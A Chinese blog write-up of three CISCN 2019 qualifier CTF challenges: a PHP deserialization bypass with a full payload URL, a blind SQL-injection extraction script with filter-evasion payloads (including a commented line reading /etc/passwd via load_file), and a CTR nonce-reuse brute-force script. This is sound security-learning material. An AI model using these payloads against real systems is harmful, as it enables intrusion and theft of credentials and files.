Ciscn 2019 初赛 Writeup

发表于 2019 年 4 月 25 日

输出了两题 web + 一题 crypto, 太菜了 QAQ
因为也是要交上去的, 就写的比较简单了.

JustSoso

根据html内的提示, php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=hint.php 得到源码,
之后代码审计.

  1. 通过 ///index.php 使 parse_url 返回 false, 绕过 payload 内不能有 flag 的限制
  2. 通过引用的方式, 绕过 $this->token === $this->token_flag
  3. 将序列化后的字符串 "Handle":1 的改为 2, 使其反序列时不调用 __wakeup 魔术方法, 让 handler 正常调用

最后 payload:
http://fe95bbad6a4f406cbd981c3496fb83f2be3784a02dfb46d1.changame.ichunqiu.com///index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3Bs%3A32%3A%226754e06e46dfa419d5afe3c9781cecad%22%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D

全宇宙最简单的SQL

尝试 admin'asdasd 返回数据库操作失败, 说明存在注入漏洞,
尝试盲注但是发现 benchmarksleep 全部被替换为 QwQ, 随即尝试布尔注入,
发现 ifcase 也被过滤. 最后用短路求值的方式代替 if, 并用 exp(710) 产生错误,
如果前面语句返回 true, 将返回数据库操作失败, 如果前面语句返回 false, 返回账号登录失败. 且表名为常见名称 user,
列名通过虚表的方式绕过.

 1import requests
 2import string
 3from tqdm import tqdm
 4# url = "http://0d3316846cd2408dbfdf95808c03f3f5714e7d9655ee4d4e.changame.ichunqiu.com/"
 5url = "http://106.119.182.216/"
 6# username=asd'/**/and/**/1=(SELECT/**/database()/**/like/**/'z')/**/and/**/exp(710)#&password=admin
 7sess = requests.session()
 8sess.headers["Host"] = "0d3316846cd2408dbfdf95808c03f3f5714e7d9655ee4d4e.changame.ichunqiu.com"
 9# database: ctf
10# table: user
11# 2 col
12# /fll1llag_h3r3 2,F1AG@1s-at_/fll1llag_h3r3
13# f"asd'/**/and/**/1=(SELECT/**/version()/**/like/**/'{i}')/**/and/**/exp(710)#",
14# asd'/**/and/**/1=(select(SELECT/**/group_concat(`1`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'a%')/**/and/**/exp(710)#
15# f"asd'/**/and/**/1=(select(SELECT/**/hex(group_concat(`2`))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'{tmp}%')/**/and/**/exp(710)#",
16# f"asd'/**/and/**/1=(select/**/load_file(0x2f6574632f706173737764)/**/like/**/'{tmp}')/**/and/**/exp(710)#",
17#table = string.printable[:-5]
18#table = table.replace("%", '')
19#table = table.replace("'", "")
20#table = table.replace("\\", "")
21table = "0123456789ABCDEF"
22curr = ''
23for _ in range(999):
24    for i in tqdm(table):
25        tmp = curr + i + "%"
26        data = {
27            "username": f"asd'/**/and/**/1=(select(SELECT/**/hex(group_concat(`2`))/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/user)asd)/**/like/**/'{tmp}%')/**/and/**/exp(710)#",
28            "password": "admin"
29        }
30        success = False
31        while not success:
32            try:
33                res = sess.post(url, data, timeout=2)
34                success = True
35            except Exception:
36                pass
37        res = res.content
38        res = res.decode('utf-8')
39        if "数据库操作" in res:
40            curr += i
41            print(curr)
42            break
43        if i == table[-1]:
44            raise Exception

最后得到 admin 的密码为 F1AG@1s-at_/fll1llag_h3r3, 尝试直接 load_file读取失败.
应该是没有权限, 随即在web上尝试登录admin, 发现是 mysql 客户端连接并执行语句的服务.
猜测有客户端读任意文件的漏洞, 可以直接拿到flag文件.

warmup

题目采用的是 CTR 模式, 而且每次加密采用同一计数器,
只要第一次发送空, 之后每次爆破一位比对是否与第一次对应位置的值相同即可.

 1from remoteCLI import CLI
 2from binascii import unhexlify
 3import string
 4from tqdm import tqdm
 5
 6result = r'result>([0-9a-f]{0,})'
 7
 8cli = CLI()
 9cli.connect("fc32f84bc46ac22d97e5f876e3100922.kr-lab.com", 12345)
10cli.sendLine('')
11res = cli.recvUntilFind(result)[0]
12flag = unhexlify(res)
13flagLen = len(flag)
14table = string.printable[:-5]
15curr = ''
16for seq in range(flagLen):
17    for i in tqdm(table):
18        cli.sendLine(curr + i)
19        res = cli.recvUntilFind(result)[0]
20        res = unhexlify(res)
21        if res[seq] == flag[seq]:
22            curr += i
23            print(curr)
24            break